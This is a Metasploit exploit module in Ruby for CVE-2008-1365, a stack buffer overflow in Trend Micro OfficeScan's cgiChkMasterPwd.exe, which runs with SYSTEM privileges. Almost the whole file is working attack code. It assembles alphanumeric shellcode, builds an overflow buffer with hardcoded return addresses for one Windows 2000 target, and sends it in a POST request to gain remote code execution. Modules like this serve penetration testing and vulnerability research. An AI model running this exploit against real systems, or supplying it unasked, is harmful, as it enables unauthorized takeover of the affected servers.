##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'metasm'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Trend Micro OfficeScan Remote Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Trend Micro OfficeScan
        cgiChkMasterPwd.exe (running with SYSTEM privileges).
      },
      'Author'         => [ 'toto' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-1365' ],
          [ 'OSVDB', '42499' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'MinNops'  => 0,
          'MaxNops'  => 0,
          #'Space'    => 498,
          'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
          # clean up to prevent crash on exit
          'Prepend' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "mov dword ptr fs:[0], 0").encode_string,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX',
            },
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # return addresses need to be alphanumeric (here in loadhttp data section)
          [ 'Windows 2000 - Trend Micro OfficeScan 7.3.0.1293)', { 'Rets' => [0x63613035, 0x63613032] } ],
        ],
      'DisclosureDate' => 'Jun 28 2007',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(8080),
      ], self.class)
  end

  def exploit
    geip_src = "
      push esi
      push esp
      pop eax
      xor esi, [eax]
      push esi
      pop eax
      xor eax, got_eip
      push eax
      pop ecx
      got_eip:
    "

    sc = Metasm::Shellcode.assemble(Metasm::Ia32.new, geip_src)

    sc.base_addr = target['Rets'][0]
    get_eip = sc.encode_string

    pat = Rex::Text.rand_text_alphanumeric(1016)

    pat[0, get_eip.length] = get_eip
    pat[14, payload.encoded.length] = payload.encoded
    pat[512, 4] = [target['Rets'][1]].pack('V')    # string pointer (to prevent a crash)
    pat[524, 4] = [target['Rets'][0]].pack('V')    # sets EIP to the address where the shellcode has been copied
    pat[540, 4] = [target['Rets'][0]-1].pack('V')  # shellcode will be copied at this address (+1)

    data = "TMlogonEncrypted=!CRYPT!" + pat
    len = sprintf("%u", data.length);

    print_status("Trying target address 0x%.8x..." % target['Rets'][0])

    res = send_request_cgi({
      'uri'          => '/officescan/console/cgi/cgiChkMasterPwd.exe',
      'method'       => 'POST',
      'content-type' => 'application/x-www-form-urlencoded',
      'data'         => data,
    }, 5)

    handler
  end

end